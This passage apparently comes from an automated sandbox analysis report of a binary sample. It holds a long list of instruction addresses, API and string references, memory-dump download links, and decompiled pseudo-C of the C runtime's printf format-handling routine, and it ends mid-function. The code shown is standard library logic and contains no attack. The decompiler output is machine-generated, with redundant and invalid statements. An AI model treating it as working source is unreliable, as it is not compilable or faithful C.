0x00435242
0x00435246
0x00000000
0x00000000
0x00000000
0x00435246
0x004351fc
0x004351ff
0x00435202
0x00435205
0x00435208
0x0043520b
0x00435211
0x00435211
0x00435211
0x00435219
0x0043521d
0x00000000
0x00000000
0x0043521f
0x0043521f
0x00435222
0x00435225
0x00435225
0x0043522a
0x0043522d
0x00435230
0x00435233
0x00435236
0x00435239
0x0043523c
0x0043523c
0x0043523f
0x00435242
0x00435242
0x00435246
0x00000000
0x00000000
0x00000000
0x00435246
0x00435242
0x00434a27
0x00434a2d
0x00434a2d
0x00434a34
0x00000000
0x00434d8e
0x00434d8e
0x00434d95
0x00434d9c
0x00434d9c
0x00434d9f
0x00000000
0x00000000
0x00434a3b
0x00434a3e
0x00434a3e
0x00434a44
0x00434a46
0x00434a49
0x00434a49
0x00434a4e
0x00434a4e
0x00000000
0x00000000
0x00434b7b
0x00434b7e
0x00434b7e
0x00434b83
0x00434b85
0x00434b88
0x00434b88
0x00434b8e
0x00434b8e
0x00000000
0x00000000
0x00434f5b
0x00434f5b
0x00000000
0x00000000
0x00000000
0x00000000
0x00434da5
0x00434da8
0x00434dab
0x00434dae
0x00434db4
0x00434db7
0x00434dbe
0x00434dc2
0x00434dcd
0x00434dcd
0x00434dd1
0x00434de8
0x00434de8
0x00434def
0x00434df1
0x00434df1
0x00434df8
0x00434df8
0x00434dff
0x00434e10
0x00434e1f
0x00434e22
0x00434e26
0x00434e3c
0x00434e28
0x00434e28
0x00434e2b
0x00434e31
0x00434e37
0x00434e37
0x00434e26
0x00434e46
0x00434e49
0x00434e4c
0x00434e4f
0x00434e52
0x00434e55
0x00434e5b
0x00434e61
0x00434e69
0x00434e6a
0x00434e6d
0x00434e6e
0x00434e71
0x00434e72
0x00434e79
0x00434e7a
0x00434e7d
0x00434e7e
0x00434e81
0x00434e82
0x00434e88
0x00434e89
0x00434e97
0x00434e99
0x00434e9f
0x00434e9f
0x00434ea5
0x00434ea7
0x00434eab
0x00434ead
0x00434eb5
0x00434eb6
0x00434eb9
0x00434eba
0x00434ec8
0x00434eca
0x00434eca
0x00434eab
0x00434ecd
0x00434ed4
0x00434ed7
0x00434edc
0x00434edc
0x00434ee2
0x00434ee4
0x00434eec
0x00434eed
0x00434ef0
0x00434ef1
0x00434f00
0x00434f02
0x00434f02
0x00434ee2
0x00434f05
0x00434f08
0x00434f0b
0x00434f0e
0x00434f13
0x00434f19
0x00434f1c
0x00434f1f
0x00434f1f
0x00434f22
0x00434f22
0x00434f25
0x00434f31
0x00000000
0x00434f31
0x00434dd3
0x00434dd3
0x00434dda
0x00434ddd
0x00000000
0x00000000
0x00434ddf
0x00434ddf
0x00000000
0x00434ddf
0x00434dc4
0x00434dc4
0x00000000
0x00000000
0x00434a51
0x00434a54
0x00434a54
0x00434a5a
0x00434ab5
0x00434abd
0x00434ac4
0x00434aca
0x00434ad0
0x00434a5c
0x00434a5c
0x00434a66
0x00434a6a
0x00434a72
0x00434a79
0x00434a86
0x00434a8d
0x00434a99
0x00434a9f
0x00434aa6
0x00434aa8
0x00434aa8
0x00434aaf
0x00434ad7
0x00434add
0x00435242
0x00435242
0x00435246
0x00000000
0x00000000
0x00000000
0x00435246
0x00000000
0x00000000
0x00434f39
0x00434f3c
0x00434f3f
0x00434f42
0x00000000
0x00000000
0x00434c97
0x00434c97
0x00434ca3
0x00434ca9
0x00434cae
0x00434cb0
0x00434d5a
0x00434d5d
0x00434d5d
0x00434d60
0x00434d74
0x00434d7a
0x00434d80
0x00434d62
0x00434d62
0x00434d6f
0x00434d6f
0x00434d82
0x00435242
0x00435242
0x00435246
0x00000000
0x00000000
0x00000000
0x00435246
0x00435242
0x00434cb6
0x00434cb6
0x00434cb6
0x00434cb8
0x00434cc6
0x00434cba
0x00434cba
0x00434cba
0x00434cd0
0x00434cd6
0x00434cdc
0x00434ce3
0x00434ce5
0x00434cea
0x00434cec
0x00434cf1
0x00434cf6
0x00434cf8
0x00434cfd
0x00434d00
0x00434d03
0x00434d05
0x00434d05
0x00434d03
0x00434d06
0x00434d0d
0x00434d55
0x00435242
0x00435242
0x00435246
0x00000000
0x00000000
0x00000000
0x00435246
0x00434d0f
0x00434d0f
0x00434d14
0x00434d30
0x00434d38
0x00434d42
0x00434d45
0x00434d4a
0x00000000
0x00434d4a
0x00000000
0x00434f9c
0x00434f9c
0x00434fa6
0x00434fa6
0x00434fac
0x00434fae
0x00434fb1
0x00434fb1
0x00434fb7
0x00434fb7
0x00000000
0x00000000
0x00434f54
0x00434f54
0x00000000
0x00000000
0x00434b91
0x00434b91
0x00434b95
0x00434ba3
0x00434ba6
0x00434b97
0x00434b97
0x00434b97
0x00434bac
0x00434bb2
0x00434bb8
0x00434bc4
0x00434bca
0x00434bca
0x00434bd0
0x00434c37
0x00434c37
0x00434c3b
0x00434c3d
0x00434c43
0x00434c43
0x00434c46
0x00434c49
0x00434c4f
0x00434c4f
0x00434c4f
0x00434c5b
0x00434c5e
0x00434c64
0x00434c66
0x00000000
0x00000000
0x00434c68
0x00434c68
0x00434c6e
0x00434c71
0x00434c73
0x00000000
0x00000000
0x00434c75
0x00434c7b
0x00434c7e
0x00434c7e
0x00434c86
0x00434c86
0x00434c8c
0x00434c8c
0x00434c8f
0x00000000
0x00434bd2
0x00434bd2
0x00434bd2
0x00434bd6
0x00434bd8
0x00434bdd
0x00434bdd
0x00434be0
0x00434be7
0x00434bea
0x00434bf0
0x00434bf0
0x00434bf0
0x00434bfc
0x00434bff
0x00434c05
0x00434c07
0x00000000
0x00000000
0x00434c09
0x00434c09
0x00434c0f
0x00434c12
0x00434c14
0x00000000
0x00000000
0x00434c16
0x00434c1c
0x00434c1f
0x00434c1f
0x00434c27
0x00434c2d
0x00434c30
0x00434c32
0x00434c92
0x00435242
0x00435242
0x00435246
0x00000000
0x00000000
0x00000000
0x00435246
0x00435242
0x00000000
0x00434f4b
0x00434f4b
0x00000000
0x00000000
0x00434f67
0x00434f67
0x00434f71
0x00434f71
0x00434f7b
0x00434f7b
0x00434f81
0x00434f83
0x00434f8d
0x00434f8d
0x00434f90
0x00434f93
0x00434f93
0x00434fba
0x00434fbd
0x00434fbd
0x00434fc2
0x00434fe4
0x00434fe4
0x00434fea
0x0043500c
0x0043500c
0x0043500f
0x00435056
0x00435056
0x00435059
0x00435076
0x0043507a
0x00435082
0x00435082
0x00435084
0x0043508a
0x0043505b
0x0043505b
0x0043505f
0x00435067
0x00435068
0x0043506e
0x0043506e
0x00435011
0x00435014
0x00435014
0x00435017
0x00435035
0x00435041
0x00435044
0x00435045
0x0043504b
0x00435019
0x00435019
0x0043501d
0x00435025
0x00435026
0x00435027
0x0043502d
0x0043502d
0x00435051
0x00434fec
0x00434fec
0x00434ff8
0x00434ffe
0x00434ffe
0x00434fc4
0x00434fc4
0x00434fd0
0x00434fd6
0x00434fd6
0x00435093
0x00435093
0x00435096
0x004350d8
0x004350d8
0x004350de
0x004350e4
0x004350ea
0x00000000
0x00435098
0x00435098
0x00435098
0x0043509f
0x00000000
0x00000000
0x004350a1
0x004350a1
0x004350ac
0x004350b2
0x004350b4
0x004350ba
0x004350bd
0x004350bf
0x004350c5
0x004350ce
0x004350d3
0x004350f0
0x004350f3
0x004350f3
0x004350f8
0x004350fd
0x004350fd
0x00435103
0x00435105
0x0043510b
0x00435111
0x00435111
0x0043511a
0x0043511a
0x00435103
0x00435120
0x00435124
0x00435132
0x00435135
0x00435138
0x0043513f
0x00435141
0x00435141
0x00435126
0x00435126
0x00435126
0x0043514e
0x0043514e
0x00435154
0x00435156
0x00435156
0x0043515d
0x00435160
0x00435163
0x00435163
0x00435163
0x00435169
0x0043516c
0x0043516f
0x00435171
0x00000000
0x00000000
0x00435173
0x00435179
0x00435179
0x0043517f
0x00000000
0x00000000
0x00435181
0x00435181
0x00435184
0x00435187
0x0043518e
0x00435195
0x0043519d
0x004351a3
0x004351a6
0x004351a9
0x004351b0
0x004351bc
0x004351c2
0x004351c8
0x004351cf
0x004351d1
0x004351d7
0x004351d7
0x004351dd
0x004351dd
0x004351e3
0x004351e6
0x004351ec
0x004351f1
0x004351f4
0x00435163
0x00435163
0x00435169
0x0043516c
0x0043516f
0x00435171
0x00000000
0x00000000
0x00000000
0x00435171
0x00435163
0x004350a3
0x004350a3
0x004350aa
0x00000000
0x00000000
0x00000000
0x004350aa
0x00000000
0x00435242
0x00435242
0x00435246
0x00000000
0x00000000
0x00000000
0x00435246
0x00000000
0x00000000
0x00434801
0x00434804
0x00434807
0x00000000
0x00000000
0x0043480c
0x0043480f
0x00434814
0x00000000
0x00000000
0x004347f6
0x004347f6
0x004347f9
0x004347fc
0x00000000
0x00000000
0x004347eb
0x004347ee
0x004347f1
0x00000000
0x00000000
0x00434819
0x00434819
0x0043481c
0x0043481c
0x0043481f
0x00000000
0x00000000
0x00434822
0x00000000
0x00000000
0x004345be
0x004345c0
0x004345ce
0x004345c2
0x004345c2
0x004345c2
0x004345d8
0x004345de
0x004345eb
0x004345ed
0x004345f2
0x004345f4
0x004345f9
0x004345fe
0x00434600
0x00434605
0x0043460b
0x0043460d
0x0043460d
0x0043460b
0x0043460e
0x00434615
0x00000000
0x00434617
0x0043461c
0x00434638
0x00434640
0x0043464d
0x00434652
0x00435511
0x0043551e
0x0043551e
0x00434615
0x004345b8
0x0043544d
0x00435454
0x0043546b
0x0043546b
0x00435475
0x00435475
0x0043547b
0x00435488
0x0043548a
0x0043548f
0x00435491
0x00435496
0x0043549b
0x0043549d
0x004354a2
0x004354a8
0x004354aa
0x004354aa
0x004354a8
0x004354b2
0x004354fd
0x00435506
0x0043550b
0x004354b4
0x004354b9
0x004354d5
0x004354dd
0x004354ea
0x004354ef
0x004354ef
0x00000000
0x004354b2
0x00435456
0x0043545d
0x00000000
0x00000000
0x0043545f
0x0043545f
0x00000000
0x0043545f
0x00435242
0x00434b0c
0x00434b0c
0x00434b12
0x00434b19
0x00434b1e
0x00434b21
0x00000000
0x00434b21

APIs

_get_int_arg.LIBCMTD ref: 00434AE9
_strlen.LIBCMT ref: 00434B19
_write_multi_char.LIBCMTD ref: 004352BE
_write_string.LIBCMTD ref: 004352D9
_write_multi_char.LIBCMTD ref: 00435305
_wctomb_s.LIBCMTD ref: 00435382

Strings

-, xrefs: 0043525E
_output_s_l, xrefs: 0043462E
("Incorrect format specifier", 0), xrefs: 004345ED, 00434633
f:\dd\vctools\crt_bld\self_x86\crt\src\output.c, xrefs: 004345F9, 00434629
xD@, xrefs: 00434B0C

Memory Dump Source

Source File: 0000000E.00000002.409547130.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.409537880.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.409607278.0000000000440000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.409647814.000000000055A000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.409667552.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_B55D.jbxd

Similarity

API ID: _write_multi_char$_get_int_arg_strlen_wctomb_s_write_string
String ID: ("Incorrect format specifier", 0)$-$_output_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\output.c$xD@
API String ID: 2232461714-1238480882
Opcode ID: e1a2fc9e301970ecd8c094f61f34861cce430d8b90e0bd18686be32c72381d5e
Instruction ID: d842098f25aefe9d76d7fd1ea5c3e0b2e2ebe9303bf01854bed96f0ee4cb421b
Opcode Fuzzy Hash: e1a2fc9e301970ecd8c094f61f34861cce430d8b90e0bd18686be32c72381d5e
Instruction Fuzzy Hash: 6FA19FB0D016289BDF24CF54CC49BEEB7B1AB88305F1491DAD41967291D778AE80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0043BED4, Relevance: 23.0, APIs: 9, Strings: 4, Instructions: 222
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E0043BED4(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t482;
				signed int _t484;
				signed int _t487;
				void* _t492;
				signed int _t494;
				void* _t502;
				void* _t520;
				signed int _t524;
				void* _t534;
				signed int _t567;
				signed int _t573;
				void* _t594;
				void* _t595;
				signed int _t596;
				void* _t598;
				void* _t599;

				L0:
				while(1) {
					L0:
					_t595 = __esi;
					_t594 = __edi;
					_t534 = __ebx;
					_t482 = E00428310(_t596 + 0x14);
					_t599 = _t598 + 4;
					 *((intOrPtr*)(_t596 - 0x474)) = _t482;
					if( *((intOrPtr*)(_t596 - 0x474)) == 0) {
						goto L76;
					}
					L75:
					__ecx =  *(__ebp - 0x474);
					if( *(__ecx + 4) != 0) {
						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
						if(( *(__ebp - 0x10) & 0x00000800) == 0) {
							 *(__ebp - 0xc) = 0;
							__edx =  *(__ebp - 0x474);
							__eax =  *(__edx + 4);
							 *(__ebp - 4) =  *(__edx + 4);
							__ecx =  *(__ebp - 0x474);
							__edx =  *__ecx;
							 *(__ebp - 0x24) =  *__ecx;
						} else {
							__edx =  *(__ebp - 0x474);
							__eax =  *(__edx + 4);
							 *(__ebp - 4) =  *(__edx + 4);
							__ecx =  *(__ebp - 0x474);
							__eax =  *__ecx;
							asm("cdq");
							 *__ecx - __edx =  *__ecx - __edx >> 1;
							 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
							 *(__ebp - 0xc) = 1;
						}
						L80:
						while(1) {
							L187:
							if( *(_t596 - 0x28) != 0) {
								goto L212;
							}
							L188:
							if(( *(_t596 - 0x10) & 0x00000040) != 0) {
								if(( *(_t596 - 0x10) & 0x00000100) == 0) {
									if(( *(_t596 - 0x10) & 0x00000001) == 0) {
										if(( *(_t596 - 0x10) & 0x00000002) != 0) {
											 *((short*)(_t596 - 0x14)) = 0x20;
											 *(_t596 - 0x1c) = 1;
										}
									} else {
										 *((short*)(_t596 - 0x14)) = 0x2b;
										 *(_t596 - 0x1c) = 1;
									}
								} else {
									 *((short*)(_t596 - 0x14)) = 0x2d;
									 *(_t596 - 0x1c) = 1;
								}
							}
							 *((intOrPtr*)(_t596 - 0x4ac)) =  *((intOrPtr*)(_t596 - 0x18)) -  *(_t596 - 0x24) -  *(_t596 - 0x1c);
							if(( *(_t596 - 0x10) & 0x0000000c) == 0) {
								E0043CAA0(0x20,  *((intOrPtr*)(_t596 - 0x4ac)),  *((intOrPtr*)(_t596 + 8)), _t596 - 0x44c);
								_t599 = _t599 + 0x10;
							}
							E0043CAE0( *(_t596 - 0x1c), _t596 - 0x14,  *(_t596 - 0x1c),  *((intOrPtr*)(_t596 + 8)), _t596 - 0x44c);
							_t599 = _t599 + 0x10;
							if(( *(_t596 - 0x10) & 0x00000008) != 0) {
								if(( *(_t596 - 0x10) & 0x00000004) == 0) {
									E0043CAA0(0x30,  *((intOrPtr*)(_t596 - 0x4ac)),  *((intOrPtr*)(_t596 + 8)), _t596 - 0x44c);
									_t599 = _t599 + 0x10;
								}
							}
							if( *(_t596 - 0xc) != 0) {
								L208:
								E0043CAE0( *(_t596 - 0x24),  *(_t596 - 4),  *(_t596 - 0x24),  *((intOrPtr*)(_t596 + 8)), _t596 - 0x44c);
								_t599 = _t599 + 0x10;
								goto L209;
							} else {
								L201:
								if( *(_t596 - 0x24) <= 0) {
									goto L208;
								}
								L202:
								 *(_t596 - 0x4b0) =  *(_t596 - 4);
								 *(_t596 - 0x4b4) =  *(_t596 - 0x24);
								while(1) {
									L203:
									 *(_t596 - 0x4b4) =  *(_t596 - 0x4b4) - 1;
									if( *(_t596 - 0x4b4) <= 0) {
										break;
									}
									L204:
									_t520 = E0041AE00(_t596 - 0x40);
									_t524 = E0043B540(_t596 - 0x458,  *(_t596 - 0x4b0),  *((intOrPtr*)( *((intOrPtr*)(E0041AE00(_t596 - 0x40))) + 0xac)), _t520);
									_t599 = _t599 + 0x10;
									 *(_t596 - 0x4b8) = _t524;
									if( *(_t596 - 0x4b8) > 0) {
										L206:
										E0043CA40( *(_t596 - 0x458) & 0x0000ffff,  *((intOrPtr*)(_t596 + 8)), _t596 - 0x44c);
										_t599 = _t599 + 0xc;
										 *(_t596 - 0x4b0) =  *(_t596 - 0x4b0) +  *(_t596 - 0x4b8);
										continue;
									}
									L205:
									 *(_t596 - 0x44c) = 0xffffffff;
									break;
								}
								L207:
								L209:
								if( *(_t596 - 0x44c) >= 0) {
									if(( *(_t596 - 0x10) & 0x00000004) != 0) {
										E0043CAA0(0x20,  *((intOrPtr*)(_t596 - 0x4ac)),  *((intOrPtr*)(_t596 + 8)), _t596 - 0x44c);
										_t599 = _t599 + 0x10;
									}
								}
							}
							L212:
							if( *(_t596 - 0x20) != 0) {
								L0041C4F0( *(_t596 - 0x20), 2);
								_t599 = _t599 + 8;
								 *(_t596 - 0x20) = 0;
							}
							while(1) {
								L214:
								 *(_t596 - 0x454) =  *((intOrPtr*)( *((intOrPtr*)(_t596 + 0xc))));
								_t535 =  *(_t596 - 0x454) & 0x0000ffff;
								 *((intOrPtr*)(_t596 + 0xc)) =  *((intOrPtr*)(_t596 + 0xc)) + 2;
								if(( *(_t596 - 0x454) & 0x0000ffff) == 0 ||  *(_t596 - 0x44c) < 0) {
									break;
								} else {
									if(( *(_t596 - 0x454) & 0x0000ffff) < 0x20 || ( *(_t596 - 0x454) & 0x0000ffff) > 0x78) {
										 *(_t596 - 0x4d8) = 0;
									} else {
										 *(_t596 - 0x4d8) =  *(( *(_t596 - 0x454) & 0x0000ffff) +  &M00407E18) & 0xf;
									}
								}
								L7:
								 *(_t596 - 0x450) =  *(_t596 - 0x4d8);
								_t573 =  *(_t596 - 0x450) * 9;
								_t494 =  *(_t596 - 0x45c);
								_t543 = ( *(_t573 + _t494 + 0x407e38) & 0x000000ff) >> 4;
								 *(_t596 - 0x45c) = ( *(_t573 + _t494 + 0x407e38) & 0x000000ff) >> 4;
								if( *(_t596 - 0x45c) != 8) {
									L16:
									 *(_t596 - 0x4e0) =  *(_t596 - 0x45c);
									if( *(_t596 - 0x4e0) > 7) {
										continue;
									}
									L17:
									switch( *((intOrPtr*)( *(_t596 - 0x4e0) * 4 +  &M0043C934))) {
										case 0:
											L18:
											 *(_t596 - 0xc) = 1;
											E0043CA40( *(_t596 - 0x454) & 0x0000ffff,  *((intOrPtr*)(_t596 + 8)), _t596 - 0x44c);
											_t599 = _t599 + 0xc;
											goto L214;
										case 1:
											L19:
											 *(__ebp - 0x2c) = 0;
											__ecx =  *(__ebp - 0x2c);
											 *(__ebp - 0x28) = __ecx;
											__edx =  *(__ebp - 0x28);
											 *(__ebp - 0x18) =  *(__ebp - 0x28);
											__eax =  *(__ebp - 0x18);
											 *(__ebp - 0x1c) =  *(__ebp - 0x18);
											 *(__ebp - 0x10) = 0;
											 *(__ebp - 0x30) = 0xffffffff;
											 *(__ebp - 0xc) = 0;
											goto L214;
										case 2:
											L20:
											__ecx =  *(__ebp - 0x454) & 0x0000ffff;
											 *(__ebp - 0x4e4) = __ecx;
											 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
											 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
											__eflags =  *(__ebp - 0x4e4) - 0x10;
											if( *(__ebp - 0x4e4) > 0x10) {
												goto L27;
											}
											L21:
											_t59 =  *(__ebp - 0x4e4) + 0x43c96c; // 0x498d04
											__ecx =  *_t59 & 0x000000ff;
											switch( *((intOrPtr*)(__ecx * 4 +  &M0043C954))) {
												case 0:
													goto L24;
												case 1:
													goto L25;
												case 2:
													goto L23;
												case 3:
													goto L22;
												case 4:
													goto L26;
												case 5:
													goto L27;
											}
										case 3:
											L28:
											__ecx =  *(__ebp - 0x454) & 0x0000ffff;
											__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
											if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
												__edx =  *(__ebp - 0x18);
												__edx =  *(__ebp - 0x18) * 0xa;
												__eflags = __edx;
												_t83 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
												__ecx = __edx + _t83;
												 *(__ebp - 0x18) = __ecx;
											} else {
												__edx = __ebp + 0x14;
												 *(__ebp - 0x18) = E00428310(__ebp + 0x14);
												__eflags =  *(__ebp - 0x18);
												if( *(__ebp - 0x18) < 0) {
													__eax =  *(__ebp - 0x10);
													__eax =  *(__ebp - 0x10) | 0x00000004;
													__eflags = __eax;
													 *(__ebp - 0x10) = __eax;
													__ecx =  *(__ebp - 0x18);
													__ecx =  ~( *(__ebp - 0x18));
													 *(__ebp - 0x18) = __ecx;
												}
											}
											L33:
											goto L214;
										case 4:
											L34:
											 *(__ebp - 0x30) = 0;
											goto L214;
										case 5:
											L35:
											__edx =  *(__ebp - 0x454) & 0x0000ffff;
											__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
											if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
												__ecx =  *(__ebp - 0x30);
												__ecx =  *(__ebp - 0x30) * 0xa;
												__eflags = __ecx;
												_t94 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
												__eax = __ecx + _t94;
												 *(__ebp - 0x30) = __ecx + _t94;
											} else {
												__eax = __ebp + 0x14;
												 *(__ebp - 0x30) = E00428310(__ebp + 0x14);
												__eflags =  *(__ebp - 0x30);
												if( *(__ebp - 0x30) < 0) {
													 *(__ebp - 0x30) = 0xffffffff;
												}
											}
											goto L214;
										case 6:
											L41:
											__ecx =  *(__ebp - 0x454) & 0x0000ffff;
											 *(__ebp - 0x4e8) = __ecx;
											 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
											 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
											__eflags =  *(__ebp - 0x4e8) - 0x2e;
											if( *(__ebp - 0x4e8) > 0x2e) {
												L64:
												goto L214;
											}
											L42:
											_t102 =  *(__ebp - 0x4e8) + 0x43c994; // 0xc1a19003
											__ecx =  *_t102 & 0x000000ff;
											switch( *((intOrPtr*)(__ecx * 4 +  &M0043C980))) {
												case 0:
													L47:
													__ecx =  *(__ebp + 0xc);
													__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
													__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x36;
													if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x36) {
														L50:
														__ecx =  *(__ebp + 0xc);
														__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
														__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x33;
														if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x33) {
															L53:
															__ecx =  *(__ebp + 0xc);
															__edx =  *__ecx & 0x0000ffff;
															__eflags = ( *__ecx & 0x0000ffff) - 0x64;
															if(( *__ecx & 0x0000ffff) == 0x64) {
																L59:
																L61:
																goto L64;
															}
															L54:
															__eax =  *(__ebp + 0xc);
															__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
															__eflags = __ecx - 0x69;
															if(__ecx == 0x69) {
																goto L59;
															}
															L55:
															__edx =  *(__ebp + 0xc);
															__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
															__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6f;
															if(( *( *(__ebp + 0xc)) & 0x0000ffff) == 0x6f) {
																goto L59;
															}
															L56:
															__ecx =  *(__ebp + 0xc);
															__edx =  *__ecx & 0x0000ffff;
															__eflags = ( *__ecx & 0x0000ffff) - 0x75;
															if(( *__ecx & 0x0000ffff) == 0x75) {
																goto L59;
															}
															L57:
															__eax =  *(__ebp + 0xc);
															__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
															__eflags = __ecx - 0x78;
															if(__ecx == 0x78) {
																goto L59;
															}
															L58:
															__edx =  *(__ebp + 0xc);
															__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
															__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x58;
															if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x58) {
																 *(__ebp - 0x45c) = 0;
																goto L18;
															}
															goto L59;
														}
														L51:
														__eax =  *(__ebp + 0xc);
														__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
														__eflags = __ecx - 0x32;
														if(__ecx != 0x32) {
															goto L53;
														} else {
															 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
															 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
															goto L61;
														}
													}
													L48:
													__eax =  *(__ebp + 0xc);
													__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
													__eflags = __ecx - 0x34;
													if(__ecx != 0x34) {
														goto L50;
													} else {
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
														goto L61;
													}
												case 1:
													L62:
													__ecx =  *(__ebp - 0x10);
													__ecx =  *(__ebp - 0x10) | 0x00000020;
													 *(__ebp - 0x10) = __ecx;
													goto L64;
												case 2:
													L43:
													__edx =  *(__ebp + 0xc);
													__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
													__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6c;
													if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x6c) {
														__eax =  *(__ebp - 0x10);
														__eax =  *(__ebp - 0x10) | 0x00000010;
														__eflags = __eax;
														 *(__ebp - 0x10) = __eax;
													} else {
														__ecx =  *(__ebp + 0xc);
														__ecx =  *(__ebp + 0xc) + 2;
														 *(__ebp + 0xc) = __ecx;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
													}
													goto L64;
												case 3:
													L63:
													__edx =  *(__ebp - 0x10);
													__edx =  *(__ebp - 0x10) | 0x00000800;
													__eflags = __edx;
													 *(__ebp - 0x10) = __edx;
													goto L64;
												case 4:
													goto L64;
											}
										case 7:
											L65:
											__eax =  *(__ebp - 0x454) & 0x0000ffff;
											 *(__ebp - 0x4ec) =  *(__ebp - 0x454) & 0x0000ffff;
											__ecx =  *(__ebp - 0x4ec);
											__ecx =  *(__ebp - 0x4ec) - 0x41;
											 *(__ebp - 0x4ec) = __ecx;
											__eflags =  *(__ebp - 0x4ec) - 0x37;
											if( *(__ebp - 0x4ec) > 0x37) {
												goto L187;
												do {
													do {
														while(1) {
															L187:
															if( *(_t596 - 0x28) != 0) {
																goto L212;
															}
															goto L188;
														}
														L183:
														__ebp - 0x249 = __ebp - 0x249 -  *(__ebp - 4);
														 *(__ebp - 0x24) = __ebp - 0x249 -  *(__ebp - 4);
														__ecx =  *(__ebp - 4);
														__ecx =  *(__ebp - 4) + 1;
														 *(__ebp - 4) = __ecx;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
														__eflags =  *(__ebp - 0x10) & 0x00000200;
													} while (( *(__ebp - 0x10) & 0x00000200) == 0);
													__eflags =  *(__ebp - 0x24);
													if( *(__ebp - 0x24) == 0) {
														break;
													}
													L185:
													__eax =  *(__ebp - 4);
													__ecx =  *( *(__ebp - 4));
													__eflags = __ecx - 0x30;
												} while (__ecx == 0x30);
												L186:
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												__eax =  *(__ebp - 4);
												 *( *(__ebp - 4)) = 0x30;
												__ecx =  *(__ebp - 0x24);
												__ecx =  *(__ebp - 0x24) + 1;
												__eflags = __ecx;
												 *(__ebp - 0x24) = __ecx;
												while(1) {
													L187:
													if( *(_t596 - 0x28) != 0) {
														goto L212;
													}
													goto L188;
												}
											}
											L66:
											_t143 =  *(__ebp - 0x4ec) + 0x43ca00; // 0xcccccc0d
											__eax =  *_t143 & 0x000000ff;
											switch( *((intOrPtr*)(( *_t143 & 0x000000ff) * 4 +  &M0043C9C4))) {
												case 0:
													L119:
													 *(__ebp - 0x2c) = 1;
													 *(__ebp - 0x454) & 0x0000ffff = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
													__eflags = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
													 *(__ebp - 0x454) = __ax;
													goto L120;
												case 1:
													L67:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
													__eflags =  *(__ebp - 0x10) & 0x00000830;
													if(( *(__ebp - 0x10) & 0x00000830) == 0) {
														__edx =  *(__ebp - 0x10);
														__edx =  *(__ebp - 0x10) | 0x00000020;
														__eflags = __edx;
														 *(__ebp - 0x10) = __edx;
													}
													goto L69;
												case 2:
													L81:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
													__eflags =  *(__ebp - 0x10) & 0x00000830;
													if(( *(__ebp - 0x10) & 0x00000830) == 0) {
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) | 0x00000020;
														__eflags = __ecx;
														 *(__ebp - 0x10) = __ecx;
													}
													goto L83;
												case 3:
													L143:
													 *(__ebp - 0x460) = 7;
													goto L145;
												case 4:
													goto L0;
												case 5:
													L120:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													__edx = __ebp - 0x448;
													 *(__ebp - 4) = __ebp - 0x448;
													 *(__ebp - 0x44) = 0x200;
													__eflags =  *(__ebp - 0x30);
													if( *(__ebp - 0x30) >= 0) {
														L122:
